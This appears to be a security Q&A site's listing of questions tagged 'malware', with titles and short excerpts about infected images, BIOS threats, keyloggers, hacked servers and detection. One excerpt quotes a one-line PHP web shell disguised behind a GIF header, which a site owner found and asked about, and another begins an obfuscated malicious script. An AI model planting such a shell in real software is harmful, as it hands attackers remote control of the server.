Malware is any software application which subverts the will of the legitimate owner of a computer, by means of force or subterfuge, with or without personal or monetary gain on the part of the creator.

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Risk of spyware on seized devices

This question (Prevention measures against laptop seizure at US borders) addresses a number of techniques for securing data while crossing borders. Perhaps the most useful advice was to simply not ...
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Is drag-and-drop safer than using the clipboard when it comes to protecting sensitive data from keyloggers?

I noticed that multiple password-locker applications recommend that you use the drag-and-drop feature to transfer passwords to login forms instead of copying the passwords to the clipboard or having ...
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Is my LAN infected?

I don't know if this is the right place for this question but here it goes... When I access websites that have Google ads included with a device (pc, tablet, laptop) connected to my LAN, these ads ...
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What to look for in a PHP file on my server to decide whether it is rogue or not?

I found this file in my folder named quarantine_wp_protect.php. This file sits outside the public_html folder. Inside this file is the following code: GIF89a???????????!??????,???????D?;?<?php ...
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What will happen to my Windows PC if I visit a site from a network marked as malicious by google safebrowsing [closed]

Google rated a whole network in china as malicious: http://www.google.com/safebrowsing/diagnostic?site=AS:4134 Quite a few of our customers have their websites hosted in that network (e.g. ...
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Is this PHP file containing an eval to a POST variable an indication of compromise?

I found this file on my server, it contains the following code: GIF89a <?php eval ($_POST[plm12345plm]); ?> There is no other code beside that one above. Is this malicious?
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How can one create one's own anti-virus scan server at home? [closed]

I suppose that every one used a service such as virustotal.com, anubis.iseclab.org, or any other service that could provide the same objective to scan same files. So my question is how can I make ...
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Can any dangerous file(Virus, Trojan, Malware, etc) cause harm inside a zip or rar?

I am using Windows 8.1 pro with Mozilla Thunderbird for my email requirements. I have my Thunderbird set to auto download all email attachments, however upon runnning a Virus scan I am seeing many ...
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How can I detect unencrypted self-executing code in JPEG images?

Assuming that I have an infected image containing a self-executing malicious code that targets my image viewer and executes when I open the file. Supposing also that my computer is completely clean ...
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Malicious self-executing code can only exist in EXIF data in JPEG images?

Let's say we got an infected JPEG image that just by viewing it can automatically execute the malicious code stored inside it. It can do this either by taking advantage of the image viewer's security ...
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Offline malware / script scanner for webfiles (PHP and HTML) [closed]

I have downloaded an entire copy of a website that has been used as a spam relay. I think I have tracked down the problem to a loophole in a contact form (now closed, but was not used, but still ...
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Malware script uploaded - CPU has been maxed out

I received notifications that the CPU was maxed out. Using Process Manager in WHM, I could see that commands named "fuckyou" was running some kind of cron sript on our server. The file it was calling ...
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Protecting the BIOS from malware [closed]

The BIOS operates at a lower level than the OS, so antivirus software cannot scan it. Is there any other security software that we should use to protect the BIOS?
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Methods to have multiple Anti Virus installed on one machine

I am running Windows 8.1 Pro, Ideally I would like to have the top 5 Anti Virus installed but I am aware it is not advised as they can clash with each other. I was wondering if there is a favoured ...
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Is it possible to lock guest VMs (or processes) to sticks of physical RAM to prevent row hammer attacks?

I was wondering if it is possible through some means to isolate processes (or preferably guest VMs) to physical sticks of RAM. This would be to prevent row hammer like attacks from using physical ...
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The Perfect Mousetrap - Can a sandbox system be designed such that it's identical to an actual computer? [duplicate]

In testing suspicious files for malware, the typical method is to search for known malicious code. This is why zero-day malware attacks can be so dangerous — their malicious code is previously unknown ...
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Sites being redirected to adult site in all devices [closed]

From past couple of days, we are facing this issue where sites are automatically being routed to an adult site, although we get a 404 Not Found HTTP error. First guess is obviously that my system is ...
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How do I check the hash of an ISO?

If I download the OS image from Ubuntu servers from a location where I can get the MITM attack and get a compromised image, then how I can check its hash to prove that its original image? Hashes may ...
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How to disable Symbolic link creation option to users in cPanel server? [closed]

In shared hosting server, one user is trying to upload 100s of symbolic link files and trying to access files out side. Mostly it is for malicious purpose. In this image, you can see 100s of symlink ...
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What does this malicious PHP script do? [closed]

Somebody hacked my site and uploaded this script (template46.php) to my webroot and its content is: <?php $vIIJ30Y = Array('1'=>'F', '0'=>'j', '3'=>'s', '2'=>'l', '5'=>'M', ...
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Malware analysis - Traffic Inspection

I am working on small project. There is an organization in which it has 100 around systems across the country. All of their machine's traffic goes through a single proxy monitored and maintained by ...
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Can source javascript files be infected from a developer's machine?

First a little bit of background, About two weeks back one of the developers in my team said they were seeing advertisement popups and links appearing all over the web app we were developing, when ...
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Hidden Malware on a windows OS able to startup [closed]

How do hackers hide there malware on windows, to startup and be impossible to find then delete. The results I found that a hacker can use to hide his malware: (found here) Windows: Setting hidden ...
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Is it possible for malware to be in the BIOS or in hardware?

Is it possible for malware to be written in the BIOS section and loaded on every fresh Windows Install? If it is possible, can this affect Linux (Ubuntu and others) operating systems as well?
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Stuxnet - The background functions [closed]

Stuxnet was a clever worm that aimed to malfunction programmable logic controllers on nuclear networks (Iran was the most affected). Nuclear networks were private networks, not supported on Internet ...
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How to detect an image virus?

How can someone detect a malicious code, executable or not, inside an image file ? What techniques and what programs are out there that will help you for the detection procedure ? This question is a ...
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Can you get infected by viewing an image? [duplicate]

Lets say I have an infected image by some malware, I double-click it and that triggers the default program that handles images to open it for viewing. Will this also trigger the malware inside the ...
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What are the heuristics for a malicious url? [closed]

I know that there is nothing like a safe website ,any website which is safe today could be hacked and its visitors could be served with latest malware. What I'm curious about is what checks can we ...
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How to wipe potentially infected SSD?

I recently fell victim to some Adware (and possible malware). I was installing Firefox and clicked an ad link in Bing and downloaded a "packaged" Firefox install. I believe the ad is still at the ...
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Detecting malicious domains/URLs [closed]

Do state of the art commercial URL threat intelligence feeds ( for example, one's by Symantec, Intel-security etc) miss malicious domains? (i.e. domains serving malware,exploit code & phishing ...
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using html5 websockets to bypass firewall TCP policy

I've read that html5 enables opening tcp sockets from the client side in its "websocket" feature. Firewalls as I recollect may be configured to block tcp connections initiated from "the outside" by ...
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Is it necessary to protect ATM pins against malware that has no access to the physical card? [closed]

I understand that various types of malware attempt to steal ATM pins . Presumably the attackers have no access to the physical card, so what can they do with the pin? In this case, is it needed to ...
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Malicious JavaScript warning [closed]

I visited a site yesterday and received no malicious javascript warnngs. Today I visited that same site and got the warnings. Do I need to be worried about being infected with something?
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Malware (internet connectivity) and defending against it

I was wondering whether anyone knew if malware could spread without internet connectivity? Also, can you defend against malware by releasing counter-malware that spreads exploiting the same ...
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What are ways I can analyze malware in an infected machine, not just clean it?

I often run into infected devices in my environment and would like to learn more about the specific infections that have gotten in. What are the best tools and techniques I could use to do this? I ...
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Researchers figured out how to transmit/exfiltrate data using heat

I read article about it here and it says: Researchers at Ben-Gurion University have created a new piece of malware called BitWhisper. Infected machines can transmit data using heat they ...
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Can a Trojan hide itself, so its activity doesn't appear in task manager process? [duplicate]

Can malicious software hide itself, so its activity doesn't appear in the list of processes from Task Manager? Can it hide itself so when someone is controlling your computer, even if you open Task ...
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Website Link in Signature corrupted while transmission [closed]

We placed our website link in our email signature for last one week. This link apparently converted into something corrupt, so all our mails gets bounced. We scan our web server files using ClamAV ...
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At what criteria should an unpatched machine be considered hacked? [closed]

Since every machine connected to the Internet requires security patches, there is a window of time in which those updates have been released and those machines haven't yet been patched. It is ...
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How can I detect mode interface of other machine is promiscuous [closed]

I have a project that is to protect my box from attack man in the middle arp poison. I should detect if interface mode of other machine is promiscuous. I must write script python or command linux.
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Can standalone malware survive on current mobile devices? [closed]

Can malware run on mobile devices? I don't see how it would be able to (given that those devices have fine-grained permissions and sandboxing). Unlike on a desktop OS, malware cannot access registry ...
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Patching Mac DMA attack

I want to know a few things about the blackhat attack that attacks thunderbolt. Is there anyway to wipe or patch a currently infected computer? I am not versed per se in THAT level of security. I was ...
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Discovered unexplained large salted files in root folder on Linux, possible keylogger?

So I had Linux Mint running on my laptop, just installed it a month ago. It has a small hard drive, just 160gb, and I noticed shortly after installing the system, it ballooned to 80-some gigabytes ...
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Request for links to worm source code [closed]

From where can you download worm source code? Need it for a project i am doing on honeypots. It does not matter whether it is a windows or linux worm.
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Hack: anymonous URL on my Joomla Website[Resolve] [closed]

My website has been hacked again. There are many foreign URLs such as here. I've checked the database and there is nothing strange in my database. Does anyone know what kind of hack attack is like ...
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uploading photos to cloud from an infected device [closed]

My computer is infected with Malware and (shame on me) of course I didn't back up my photos or word docs. I also happen to know almost NOTHING about computers. Is it possible to upload photos to cloud ...
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Does Android have sufficient app sandboxing?

In a previous question in InfoSec, I asked about how to determine the safety of a sideloaded Android app that requires root permissions. Now I would like to ask a related, but different question: Is ...
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Open source database of malware signatures [on hold]

I'm looking for an open source database of malware signatures/hashes (if possible regularly updated and well documented) that I could use in one of my software for scanning a huge numbers of files ...
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Signature Based Malware Detection

I am developing software for detecting malware based on signature, in Java. I have researched a lot for the approach to move ahead. I found that the basic idea is to store the existing malware ...
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Any reason for a user to use an email scanner if they don't use any offline mail clients?

I typically recommend that users enable a real-time email scanner (aka a mail shield) in order to detect a possible vector used by malware. Even if they don't use an email application, the rationale ...